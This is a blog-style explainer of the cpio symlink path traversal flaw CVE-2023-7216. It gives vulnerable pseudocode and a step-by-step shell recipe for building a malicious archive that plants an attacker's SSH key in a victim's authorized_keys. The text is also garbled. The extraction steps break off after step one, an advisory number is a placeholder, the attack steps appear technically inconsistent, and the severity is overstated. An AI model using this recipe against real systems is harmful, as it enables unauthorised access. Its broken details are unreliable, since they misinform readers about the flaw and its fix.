CVE-2023-7216 - Unmasking the CPIO Path Traversal Vulnerability – Exploitation, Code, and Real-World Dangers

Path traversal bugs keep popping up in critical software, and CVE-2023-7216 is a stark reminder. This serious flaw in the classic CPIO archiving utility may sound like technical trivia, but it can allow a remote, unauthenticated attacker to run arbitrary commands on a victim’s system -- just by getting them to open a crafted CPIO archive. Let’s dig into how this happens, see proof-of-concept code, and learn the risks and defenses.

What is CVE-2023-7216?

CVE-2023-7216 is a path traversal vulnerability found in CPIO, a popular Unix archive utility. CPIO processes “archive files” (typically .cpio files), extracting them to the filesystem. The flaw exists in how CPIO handles symlinks during extraction – it doesn’t stop them from pointing *outside* the destination directory.

An attacker can create an archive with malicious symlinks, and if you, or maybe your automated script, extract it with CPIO, files can be written or even commands executed elsewhere on your system.

How Bad Is It?

- Remote, unauthenticated attackers: Only need to convince you to open a booby-trapped archive (via email, website, etc).

Overwrite arbitrary files (including critical config or system files)

- Potentially achieve code execution if, for example, they overwrite authorized_keys, SSH configs, or cron jobs.

Understanding the Vulnerability

When CPIO extracts an archive, it may encounter symlinks—these are special files that point to another location. If these symlinks point outside the extraction directory, files can be placed *anywhere* on the filesystem.

If CPIO doesn’t check where the links point before extracting, attackers can write payloads to critical locations.

A simplified code snippet (vulnerable logic in C)

// Pseudocode: Vulnerable symlink handling in CPIO
foreach (file in archive) {
    if (file->type == SYMLINK) {
        symlink(file->link_target, file->output_path);  // No validation!
    } else {
        write_file(file->output_path, file->data);
    }
}

In this logic, the program creates symlinks directly, and later extracts files via those symlinks. If link_target is, for example, /etc/passwd, then extracted files could overwrite critical system files.

Building a Malicious .cpio Archive

Attackers often use available tools or write their own. Let’s see how someone might create an evil CPIO archive on Linux.

### *Evil Plan: Replace ~/.ssh/authorized_keys*

Step 1: Create a Symlink

ln -s /home/victim/.ssh/authorized_keys evil_link

Step 2: Craft the Payload File

echo "ssh-rsa AAAAB3NzaC1yc2E..." > payload

Step 3: Create the Archive

# Add the symlink
echo "evil_link" | cpio -o > exploit.cpio
# Add the payload, targeting the symlink
echo "payload" | cpio -oA -F exploit.cpio

*The -oA appends files, and the order is important: symlink, then file.*

If a target runs

cpio -id < exploit.cpio

CPIO will

1. Extract the symlink evil_link pointing to /home/victim/.ssh/authorized_keys.

References and Further Reading

- Official CVE Entry: CVE-2023-7216 at MITRE
- Red Hat Security Advisory: RHSA-2024:XXXX
- Debian Security Tracker: Debian CVE-2023-7216
- Upstream CPIO Project: GNU CPIO

How To Defend Yourself

- Apply updates: Patches are available for major distributions (example patch commit).

Conclusion

CVE-2023-7216 shows how classic software can face modern threats. With a simple, crafted archive, attackers can break out of the intended directory and overwrite vital files. Update your CPIO package immediately, use caution with untrusted archives, and keep an eye out for similar issues in other archiving tools.

Timeline

Published on: 02/05/2024 15:15:08 UTC
Last modified on: 02/19/2024 12:15:44 UTC